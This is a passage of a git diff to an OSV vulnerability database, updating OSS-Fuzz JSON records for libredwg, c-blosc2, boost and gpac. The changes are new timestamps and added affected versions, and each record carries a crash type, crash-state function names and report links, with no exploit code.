2.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.5465","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.13.4.8356","0.13.4.8360","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8544","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936","0.14.8941","0.14.8946"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2023-307.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=57911"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2023-319.json b/data/OSS-Fuzz/OSV-2023-319.json index 19c119cde0..f76ae258ce 100644 --- a/data/OSS-Fuzz/OSV-2023-319.json +++ b/data/OSS-Fuzz/OSV-2023-319.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2023-319","published":"2023-04-16T14:01:58.406534Z","modified":"2026-11-11T14:45:03.997155309Z","summary":"Heap-buffer-overflow in ZSTD_decompressSequencesLong_bmi2","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=58035\n\n```\nCrash type: Heap-buffer-overflow READ 8\nCrash state:\nZSTD_decompressSequencesLong_bmi2\nZSTD_decompressSequencesLong\nZSTD_decompressBlock_internal\n```\n","affected":[{"package":{"name":"c-blosc2","ecosystem":"OSS-Fuzz","purl":"pkg:generic/c-blosc2"},"ranges":[{"type":"GIT","repo":"https://github.com/Blosc/c-blosc2.git","events":[{"introduced":"4a727370b1c2e9746434c00bf2236db86c31ea5c"}]}],"versions":["v2.0.0","v2.0.0-rc2","v2.0.0.rc1","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.1.0","v2.1.1","v2.10.0","v2.2.0","v2.3.0","v2.3.1","v2.4.0","v2.4.1","v2.4.2","v2.4.3","v2.5.0","v2.6.0","v2.6.1","v2.7.0","v2.7.1","v2.8.0","v2.9.0","v2.9.1","v2.9.2","v2.9.3","v2.10.1","v2.10.2","v2.10.3","v2.10.4","v2.10.5","v2.11.0","v2.11.1","v2.11.2","v2.11.3","v2.12.0","v2.13.0","v2.13.1","v2.13.2","v2.14.0","v2.14.1","v2.14.2","v2.14.3","v2.14.4","v2.15.0","v2.15.1","v2.15.2","v2.16.0","v2.17.0","v2.17.1","v2.18.0","v2.19.0","v2.19.1","v2.20.0","v2.21.0","v2.21.1","v2.21.2","v2.21.3","v2.22.0","v2.23.0","v2.23.1","v3.0.0.rc1","v3.0.0.rc2","v3.0.0","v3.0.1","v3.0.2","v3.0.3","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5","v3.2.0","v3.2.1","v3.2.2","v3.2.3","v3.3.0","v3.3.1","v3.3.2","v3.3.3","v3.3.4","v3.3.5","v3.4.0","v3.4.1","v3.5.0","v3.6.0","v3.6.1"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/c-blosc2/OSV-2023-319.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=58035"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2023-319","published":"2023-04-16T14:01:58.406534Z","modified":"2026-11-12T14:30:05.065477165Z","summary":"Heap-buffer-overflow in ZSTD_decompressSequencesLong_bmi2","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=58035\n\n```\nCrash type: Heap-buffer-overflow READ 8\nCrash state:\nZSTD_decompressSequencesLong_bmi2\nZSTD_decompressSequencesLong\nZSTD_decompressBlock_internal\n```\n","affected":[{"package":{"name":"c-blosc2","ecosystem":"OSS-Fuzz","purl":"pkg:generic/c-blosc2"},"ranges":[{"type":"GIT","repo":"https://github.com/Blosc/c-blosc2.git","events":[{"introduced":"4a727370b1c2e9746434c00bf2236db86c31ea5c"}]}],"versions":["v2.0.0","v2.0.0-rc2","v2.0.0.rc1","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.1.0","v2.1.1","v2.10.0","v2.2.0","v2.3.0","v2.3.1","v2.4.0","v2.4.1","v2.4.2","v2.4.3","v2.5.0","v2.6.0","v2.6.1","v2.7.0","v2.7.1","v2.8.0","v2.9.0","v2.9.1","v2.9.2","v2.9.3","v2.10.1","v2.10.2","v2.10.3","v2.10.4","v2.10.5","v2.11.0","v2.11.1","v2.11.2","v2.11.3","v2.12.0","v2.13.0","v2.13.1","v2.13.2","v2.14.0","v2.14.1","v2.14.2","v2.14.3","v2.14.4","v2.15.0","v2.15.1","v2.15.2","v2.16.0","v2.17.0","v2.17.1","v2.18.0","v2.19.0","v2.19.1","v2.20.0","v2.21.0","v2.21.1","v2.21.2","v2.21.3","v2.22.0","v2.23.0","v2.23.1","v3.0.0.rc1","v3.0.0.rc2","v3.0.0","v3.0.1","v3.0.2","v3.0.3","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5","v3.2.0","v3.2.1","v3.2.2","v3.2.3","v3.3.0","v3.3.1","v3.3.2","v3.3.3","v3.3.4","v3.3.5","v3.4.0","v3.4.1","v3.5.0","v3.6.0","v3.6.1","v3.6.2"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/c-blosc2/OSV-2023-319.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=58035"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2023-606.json b/data/OSS-Fuzz/OSV-2023-606.json index 0ffd6ec0fc..1841fa8366 100644 --- a/data/OSS-Fuzz/OSV-2023-606.json +++ b/data/OSS-Fuzz/OSV-2023-606.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2023-606","published":"2023-07-23T14:01:02.159160Z","modified":"2026-11-11T14:45:02.976646279Z","summary":"Heap-buffer-overflow in ZSTD_decompressMultiFrame","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=60778\n\n```\nCrash type: Heap-buffer-overflow READ {*}\nCrash state:\nZSTD_decompressMultiFrame\nZSTD_decompress_usingDDict\nzstd_wrap_decompress\n```\n","affected":[{"package":{"name":"c-blosc2","ecosystem":"OSS-Fuzz","purl":"pkg:generic/c-blosc2"},"ranges":[{"type":"GIT","repo":"https://github.com/Blosc/c-blosc2.git","events":[{"introduced":"4a727370b1c2e9746434c00bf2236db86c31ea5c"}]}],"versions":["v2.0.0","v2.0.0-rc2","v2.0.0.rc1","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.1.0","v2.1.1","v2.10.0","v2.10.1","v2.10.2","v2.10.3","v2.10.4","v2.10.5","v2.2.0","v2.3.0","v2.3.1","v2.4.0","v2.4.1","v2.4.2","v2.4.3","v2.5.0","v2.6.0","v2.6.1","v2.7.0","v2.7.1","v2.8.0","v2.9.0","v2.9.1","v2.9.2","v2.9.3","v2.11.0","v2.11.1","v2.11.2","v2.11.3","v2.12.0","v2.13.0","v2.13.1","v2.13.2","v2.14.0","v2.14.1","v2.14.2","v2.14.3","v2.14.4","v2.15.0","v2.15.1","v2.15.2","v2.16.0","v2.17.0","v2.17.1","v2.18.0","v2.19.0","v2.19.1","v2.20.0","v2.21.0","v2.21.1","v2.21.2","v2.21.3","v2.22.0","v2.23.0","v2.23.1","v3.0.0.rc1","v3.0.0.rc2","v3.0.0","v3.0.1","v3.0.2","v3.0.3","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5","v3.2.0","v3.2.1","v3.2.2","v3.2.3","v3.3.0","v3.3.1","v3.3.2","v3.3.3","v3.3.4","v3.3.5","v3.4.0","v3.4.1","v3.5.0","v3.6.0","v3.6.1"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/c-blosc2/OSV-2023-606.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=60778"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2023-606","published":"2023-07-23T14:01:02.159160Z","modified":"2026-11-12T14:30:04.155743409Z","summary":"Heap-buffer-overflow in ZSTD_decompressMultiFrame","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=60778\n\n```\nCrash type: Heap-buffer-overflow READ {*}\nCrash state:\nZSTD_decompressMultiFrame\nZSTD_decompress_usingDDict\nzstd_wrap_decompress\n```\n","affected":[{"package":{"name":"c-blosc2","ecosystem":"OSS-Fuzz","purl":"pkg:generic/c-blosc2"},"ranges":[{"type":"GIT","repo":"https://github.com/Blosc/c-blosc2.git","events":[{"introduced":"4a727370b1c2e9746434c00bf2236db86c31ea5c"}]}],"versions":["v2.0.0","v2.0.0-rc2","v2.0.0.rc1","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.1.0","v2.1.1","v2.10.0","v2.10.1","v2.10.2","v2.10.3","v2.10.4","v2.10.5","v2.2.0","v2.3.0","v2.3.1","v2.4.0","v2.4.1","v2.4.2","v2.4.3","v2.5.0","v2.6.0","v2.6.1","v2.7.0","v2.7.1","v2.8.0","v2.9.0","v2.9.1","v2.9.2","v2.9.3","v2.11.0","v2.11.1","v2.11.2","v2.11.3","v2.12.0","v2.13.0","v2.13.1","v2.13.2","v2.14.0","v2.14.1","v2.14.2","v2.14.3","v2.14.4","v2.15.0","v2.15.1","v2.15.2","v2.16.0","v2.17.0","v2.17.1","v2.18.0","v2.19.0","v2.19.1","v2.20.0","v2.21.0","v2.21.1","v2.21.2","v2.21.3","v2.22.0","v2.23.0","v2.23.1","v3.0.0.rc1","v3.0.0.rc2","v3.0.0","v3.0.1","v3.0.2","v3.0.3","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5","v3.2.0","v3.2.1","v3.2.2","v3.2.3","v3.3.0","v3.3.1","v3.3.2","v3.3.3","v3.3.4","v3.3.5","v3.4.0","v3.4.1","v3.5.0","v3.6.0","v3.6.1","v3.6.2"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/c-blosc2/OSV-2023-606.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=60778"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2024-112.json b/data/OSS-Fuzz/OSV-2024-112.json index a2e226deb3..8eaa71cff8 100644 --- a/data/OSS-Fuzz/OSV-2024-112.json +++ b/data/OSS-Fuzz/OSV-2024-112.json @@ -1 +1 @@ -{"schema_version":"1.9.1","id":"OSV-2024-112","published":"2024-02-16T00:05:47.896843Z","modified":"2026-10-19T14:53:10.350400Z","summary":"Stack-overflow in boost::read_graphviz_detail::parser::parse_subgraph","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=66719\n\n```\nCrash type: Stack-overflow\nCrash state:\nboost::read_graphviz_detail::parser::parse_subgraph\nboost::read_graphviz_detail::parser::parse_endpoint_rest\nboost::read_graphviz_detail::parser::parse_stmt\n```\n","affected":[{"package":{"name":"boost","ecosystem":"OSS-Fuzz","purl":"pkg:generic/boost"},"ranges":[{"type":"GIT","repo":"https://github.com/boostorg/boost.git","events":[{"introduced":"9072bfc2d969ca1e8c49651232817201e05e3eae"},{"introduced":"206cf016ae9454ed65e9c5faf4a322f31444fb80"}]}],"versions":["boost-1.85.0","boost-1.85.0.beta1","boost-1.86.0.beta1","boost-1.86.0","boost-1.87.0.beta1","boost-1.87.0","boost-1.88.0.beta1","boost-1.88.0","boost-1.89.0.beta1","boost-1.89.0","boost-1.90.0.beta1","boost-1.90.0","boost-1.91.0.beta1","boost-1.91.0","boost-1.91.0-1","boost-1.92.0.beta1","boost-1.92.0"],"ecosystem_specific":{"severity":"LOW"},"database_specific":{"introduced_range":"0251e5fa19564439f3d654df8d4de1abdbaa72b2:9f83dd55ea67f1bab62c20d29bc5527345aafc55","source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/boost/OSV-2024-112.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=66719"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2024-112","published":"2024-02-16T00:05:47.896843Z","modified":"2026-11-12T14:30:13.336186509Z","summary":"Stack-overflow in boost::read_graphviz_detail::parser::parse_subgraph","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=66719\n\n```\nCrash type: Stack-overflow\nCrash state:\nboost::read_graphviz_detail::parser::parse_subgraph\nboost::read_graphviz_detail::parser::parse_endpoint_rest\nboost::read_graphviz_detail::parser::parse_stmt\n```\n","affected":[{"package":{"name":"boost","ecosystem":"OSS-Fuzz","purl":"pkg:generic/boost"},"ranges":[{"type":"GIT","repo":"https://github.com/boostorg/boost.git","events":[{"introduced":"9072bfc2d969ca1e8c49651232817201e05e3eae"},{"introduced":"206cf016ae9454ed65e9c5faf4a322f31444fb80"}]}],"versions":["boost-1.85.0","boost-1.85.0.beta1","boost-1.86.0.beta1","boost-1.86.0","boost-1.87.0.beta1","boost-1.87.0","boost-1.88.0.beta1","boost-1.88.0","boost-1.89.0.beta1","boost-1.89.0","boost-1.90.0.beta1","boost-1.90.0","boost-1.91.0.beta1","boost-1.91.0","boost-1.91.0-1","boost-1.92.0.beta1","boost-1.92.0","boost-1.93.0.beta1"],"ecosystem_specific":{"severity":"LOW"},"database_specific":{"introduced_range":"0251e5fa19564439f3d654df8d4de1abdbaa72b2:9f83dd55ea67f1bab62c20d29bc5527345aafc55","source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/boost/OSV-2024-112.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=66719"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2024-659.json b/data/OSS-Fuzz/OSV-2024-659.json index 02c735dc72..ed54ef086b 100644 --- a/data/OSS-Fuzz/OSV-2024-659.json +++ b/data/OSS-Fuzz/OSV-2024-659.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2024-659","published":"2024-07-18T00:01:18.765548Z","modified":"2026-11-07T14:45:04.514943621Z","summary":"Index-out-of-bounds in gf_vvc_parse_nalu_bs","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=70392\n\n```\nCrash type: Index-out-of-bounds\nCrash state:\ngf_vvc_parse_nalu_bs\ngf_inspect_dump_nalu_internal\ninspect_process\n```\n","affected":[{"package":{"name":"gpac","ecosystem":"OSS-Fuzz","purl":"pkg:generic/gpac"},"ranges":[{"type":"GIT","repo":"https://github.com/gpac/gpac","events":[{"introduced":"99a7952e91938f8c0d16f2235b912de1fed6c1f8"}]}],"versions":["testtag0.1","abi-12","abi-12.16","abi-12.17","abi-12.18","abi-12.19","abi-12.20","abi-12.21","abi-12.22","abi-12.23","abi-12.24","abi-12.25","abi-12.26","abi-12.27","abi-13","abi-13.0","abi-14","abi-14.0","abi-15","abi-15.0","abi-15.1","abi-15.2","abi-16","abi-16.2","abi-16.3","abi-16.4","abi-16.5","v26.02.0","abi-16.6","abi-16.7","abi-16.8","abi-16.9","abi-16.10","abi-16.11","abi-16.12","abi-16.13","abi-16.14","abi-16.15","abi-16.16","abi-16.17","abi-16.18","abi-16.19","abi-16.20","abi-16.21","abi-16.22","v26.07.0","abi-16.23","abi-16.24","abi-16.25","abi-16.26","abi-16.27","abi-16.28","abi-16.29"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"introduced_range":"df8121066cf8fb25cc70adf7ca8b35bda82fe216:a012d226ec8de965159f8477e8929bb5d2f57c31","source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/gpac/OSV-2024-659.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=70392"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2024-659","published":"2024-07-18T00:01:18.765548Z","modified":"2026-11-12T14:45:02.853786785Z","summary":"Index-out-of-bounds in gf_vvc_parse_nalu_bs","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=70392\n\n```\nCrash type: Index-out-of-bounds\nCrash state:\ngf_vvc_parse_nalu_bs\ngf_inspect_dump_nalu_internal\ninspect_process\n```\n","affected":[{"package":{"name":"gpac","ecosystem":"OSS-Fuzz","purl":"pkg:generic/gpac"},"ranges":[{"type":"GIT","repo":"https://github.com/gpac/gpac","events":[{"introduced":"99a7952e91938f8c0d16f2235b912de1fed6c1f8"}]}],"versions":["testtag0.1","abi-12","abi-12.16","abi-12.17","abi-12.18","abi-12.19","abi-12.20","abi-12.21","abi-12.22","abi-12.23","abi-12.24","abi-12.25","abi-12.26","abi-12.27","abi-13","abi-13.0","abi-14","abi-14.0","abi-15","abi-15.0","abi-15.1","abi-15.2","abi-16","abi-16.2","abi-16.3","abi-16.4","abi-16.5","v26.02.0","abi-16.6","abi-16.7","abi-16.8","abi-16.9","abi-16.10","abi-16.11","abi-16.12","abi-16.13","abi-16.14","abi-16.15","abi-16.16","abi-16.17","abi-16.18","abi-16.19","abi-16.20","abi-16.21","abi-16.22","v26.07.0","abi-16.23","abi-16.24","abi-16.25","abi-16.26","abi-16.27","abi-16.28","abi-16.29","abi-16.30"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"introduced_range":"df8121066cf8fb25cc70adf7ca8b35bda82fe216:a012d226ec8de965159f8477e8929bb5d2f57c31","source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/gpac/OSV-2024-659.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=70392"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2024-664.json b/data/OSS-Fuzz/OSV-2024-664.json index 8db2b01461..a058b69b5f 100644 --- a/data/OSS-Fuzz/OSV-2024-664.json +++ b/data/OSS-Fuzz/OSV-2024-664.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2024-664","published":"2024-07-18T00:13:55.576218Z","modified":"2026-11-07T14:45:04.511454120Z","summary":"Heap-buffer-overflow in gf_dash_group_get_template","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=70342\n\n```\nCrash type: Heap-buffer-overflow WRITE 1\nCrash 